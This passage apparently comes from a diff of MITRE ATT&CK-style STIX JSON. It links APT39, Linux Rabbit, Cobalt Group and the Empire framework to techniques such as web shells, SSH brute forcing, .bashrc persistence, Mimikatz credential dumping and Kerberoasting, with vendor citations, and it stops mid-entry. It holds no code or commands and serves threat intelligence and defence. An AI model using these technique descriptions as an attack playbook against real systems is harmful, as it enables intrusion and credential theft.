"relationship--ea230e17-d23a-4a11-b2f9-358eeeea4ea3", + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "modified": "2019-04-29T18:16:38.503Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.", + "source_name": "FireEye APT39 Jan 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "description": "[APT39](https://attack.mitre.org/groups/G0087) used a custom port scanner known as BLUETORCH", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-21T21:17:37.975Z", + "id": "relationship--02caaeff-7429-444f-bac2-498fe3a73cfd", + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "modified": "2019-04-29T18:16:38.635Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.", + "source_name": "FireEye APT39 Jan 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", + "description": "[APT39](https://attack.mitre.org/groups/G0087) used secure shell (SSH) to move laterally among their targets.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-21T21:17:37.996Z", + "id": "relationship--fe8bc44b-805d-440c-a447-96091033439d", + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "modified": "2019-04-29T18:16:38.680Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.", + "source_name": "FireEye APT39 Jan 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df", + "description": "[APT39](https://attack.mitre.org/groups/G0087) has installed ANTAK and ASPXSPY web shells.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-21T21:17:38.004Z", + "id": "relationship--5fea62e7-67f8-4ff2-875d-a48393f99135", + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "modified": "2019-04-29T18:16:38.723Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.", + "source_name": "FireEye APT39 Jan 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[APT39](https://attack.mitre.org/groups/G0087) has sent spearphishing emails in an attempt to lure users to click on a malicious attachment or link.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-22T20:59:17.640Z", + "id": "relationship--4e50db0c-4e54-4266-b675-3b279ec45427", + "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "modified": "2019-04-29T18:16:38.715Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.", + "source_name": "FireEye APT39 Jan 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[Linux Rabbit](https://attack.mitre.org/software/S0362) sends the payload from the C2 server as an encoded URL parameter.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-04T17:12:37.693Z", + "id": "relationship--9a2046a3-41c8-4d81-a812-63c66bcb3400", + "source_ref": "malware--0efefea5-78da-4022-92bc-d726139e8883", + "modified": "2019-07-26T20:18:44.811Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Anomali Labs. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved March 4, 2019.", + "source_name": "Anomali Linux Rabbit 2018", + "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8", + "description": "[Linux Rabbit](https://attack.mitre.org/software/S0362) maintains persistence on an infected machine through rc.local and .bashrc files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-04T17:12:37.744Z", + "id": "relationship--37e9f2ca-a7cb-4cc1-bf0f-4e2d36711b88", + "source_ref": "malware--0efefea5-78da-4022-92bc-d726139e8883", + "modified": "2019-07-26T20:18:44.829Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Anomali Labs. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved March 4, 2019.", + "source_name": "Anomali Linux Rabbit 2018", + "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Linux Rabbit](https://attack.mitre.org/software/S0362) checks to see if an SSH server is listening on port 22.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-04T17:12:37.749Z", + "id": "relationship--1c99c23c-b73f-4281-9904-ddcc91c42970", + "source_ref": "malware--0efefea5-78da-4022-92bc-d726139e8883", + "modified": "2019-07-26T20:18:44.843Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Anomali Labs. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved March 4, 2019.", + "source_name": "Anomali Linux Rabbit 2018", + "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Linux Rabbit](https://attack.mitre.org/software/S0362) opens a socket on port 22 and if it receives a response it attempts to obtain the machine's hostname and Top-Level Domain.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-04T17:12:37.770Z", + "id": "relationship--9613ad57-7f24-4dff-bea3-2626d8b2c335", + "source_ref": "malware--0efefea5-78da-4022-92bc-d726139e8883", + "modified": "2019-07-26T20:18:44.896Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Anomali Labs. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved March 4, 2019.", + "source_name": "Anomali Linux Rabbit 2018", + "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "description": "[Linux Rabbit](https://attack.mitre.org/software/S0362) attempts to gain access to the server via SSH.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-04T17:12:37.773Z", + "id": "relationship--1f8572d0-007f-4efd-8caa-58ea88849cd1", + "source_ref": "malware--0efefea5-78da-4022-92bc-d726139e8883", + "modified": "2019-07-26T20:18:44.960Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Anomali Labs. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved March 4, 2019.", + "source_name": "Anomali Linux Rabbit 2018", + "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "description": "[Linux Rabbit](https://attack.mitre.org/software/S0362) brute forces SSH passwords in order to attempt to gain access and install its malware onto the server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-04T17:12:37.776Z", + "id": "relationship--1cf57140-fe45-4c26-8946-071252ae8276", + "source_ref": "malware--0efefea5-78da-4022-92bc-d726139e8883", + "modified": "2019-07-26T20:18:44.974Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Anomali Labs. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved March 4, 2019.", + "source_name": "Anomali Linux Rabbit 2018", + "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used odbcconf to proxy the execution of malicious DLL files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-07T20:39:58.649Z", + "id": "relationship--1d10495f-64e6-43d9-85cd-4d74a8acdf7c", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:34.177Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro Cobalt Group Nov 2017", + "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7", + "description": "[Empire](https://attack.mitre.org/software/S0363) has the ability to gather browser data such as bookmarks and visited sites.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T15:04:51.661Z", + "id": "relationship--88427fdf-9d70-49d2-a7ca-4c79ee387d3d", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.024Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Empire](https://attack.mitre.org/software/S0363) includes keylogging capabilities for Windows, Linux, and macOS systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T15:04:51.687Z", + "id": "relationship--14dcdf1b-6788-429d-a7d0-910e86a2e6d6", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.021Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "description": "[Empire](https://attack.mitre.org/software/S0363) can use various modules to search for files containing passwords.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T15:04:51.689Z", + "id": "relationship--3237c264-c70c-4fe4-9f53-a8709c3dd006", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.076Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Empire](https://attack.mitre.org/software/S0363) contains an implementation of [Mimikatz](https://attack.mitre.org/software/S0002) to gather credentials from memory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T15:04:51.704Z", + "id": "relationship--d5edf7fa-6d2b-4af8-a1d3-e0f9fe56eb00", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.073Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", + "description": "[Empire](https://attack.mitre.org/software/S0363) can capture webcam data on Windows and macOS systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T15:04:51.706Z", + "id": "relationship--03d08c76-d8ce-435a-bac1-9cb77cdbaa0c", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.209Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Empire](https://attack.mitre.org/software/S0363) has modules for executing scripts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T15:04:51.728Z", + "id": "relationship--ac1cc421-b62d-462a-8d66-bc5de66defa0", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.206Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Empire](https://attack.mitre.org/software/S0363) contains multiple modules for injecting into processes, such as Invoke-PSInject.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T15:04:51.739Z", + "id": "relationship--85dc96ac-ec8e-4e15-ba4b-807c1a7b46cc", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.365Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Empire](https://attack.mitre.org/software/S0363) includes various modules for finding files of interest on hosts and network shares.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T15:10:00.149Z", + "id": "relationship--75cc19f5-00b4-43e2-8eae-f633693dbe56", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.375Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "description": "[Empire](https://attack.mitre.org/software/S0363) can harvest clipboard data on both Windows and macOS systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T15:10:00.176Z", + "id": "relationship--3ca37791-9dad-430f-aee9-0126d13ae932", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.355Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c", + "description": "[Empire](https://attack.mitre.org/software/S0363) can leverage its implementation of [Mimikatz](https://attack.mitre.org/software/S0002) to obtain and use Silver and Golden Tickets.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T16:44:33.803Z", + "id": "relationship--7367c930-0727-4550-b421-2768edef03cd", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.361Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe", + "description": "[Empire](https://attack.mitre.org/software/S0363) can use modules like Invoke-SessionGopher to extract private key and session information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T16:44:33.821Z", + "id": "relationship--9741bd7b-a3f2-4052-b2e0-f0fcf331ceae", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.535Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b39d03cb-7b98-41c4-a878-c40c1a913dc0", + "description": "[Empire](https://attack.mitre.org/software/S0363) uses [PowerSploit](https://attack.mitre.org/software/S0194)'s Invoke-Kerberoast to request service tickets and return crackable ticket hashes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T16:44:33.838Z", + "id": "relationship--5f1cf52c-f565-4325-9d4f-4a961c642a0f", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.516Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Empire](https://attack.mitre.org/software/S0363) is capable of capturing screenshots on Windows and macOS systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T16:44:33.848Z", + "id": "relationship--21c130df-4123-4f57-9ea2-9ceac05af597", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.556Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", + "description": "[Empire](https://attack.mitre.org/software/S0363) can be used to conduct packet captures on target hosts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T16:44:33.852Z", + "id": "relationship--9be360bb-8ac4-4357-8795-0736b447293c", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.550Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0", + "description": "[Empire](https://attack.mitre.org/software/S0363) can use Inveigh to conduct name service poisoning for credential theft and associated relay attacks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T16:44:33.877Z", + "id": "relationship--0537c342-77af-4626-bbe3-9360798a30d5", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.508Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + }, + { + "description": "Robertson, K. (2015, April 2). Inveigh: Windows PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer/man-in-the-middle tool. Retrieved March 11, 2019.", + "source_name": "GitHub Inveigh", + "url": "https://github.com/Kevin-Robertson/Inveigh" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5", + "description": "[Empire](https://attack.mitre.org/software/S0363) contains some modules that leverage API hooking to carry out tasks, such as netripper.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T16:44:33.881Z", + "id": "relationship--7d349715-69e8-4e3c-bb98-8dc8d3051ca2", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.518Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Empire](https://attack.mitre.org/software/S0363) uses a command-line interface to interact with systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T17:18:27.567Z", + "id": "relationship--ee448e12-4b71-4c0c-bcca-daff26072d41", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.533Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[Empire](https://attack.mitre.org/software/S0363) leverages PowerShell for the majority of its client-side agent tasks. [Empire](https://attack.mitre.org/software/S0363) also contains the ability to conduct PowerShell remoting with the Invoke-PSRemoting module.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T17:18:27.587Z", + "id": "relationship--095d2af9-dca4-4a7a-b22e-e37923e7c43c", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.505Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + }, + { + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "source_name": "NCSC Joint Report Public Tools", + "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "description": "[Empire](https://attack.mitre.org/software/S0363) can use [PsExec](https://attack.mitre.org/software/S0029) to execute a payload on a remote host.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T17:18:27.589Z", + "id": "relationship--7447ce8c-6c1a-497e-86d5-1adf960e23a3", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:44.527Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b", + "description": "[Empire](https://attack.mitre.org/software/S0363) can use 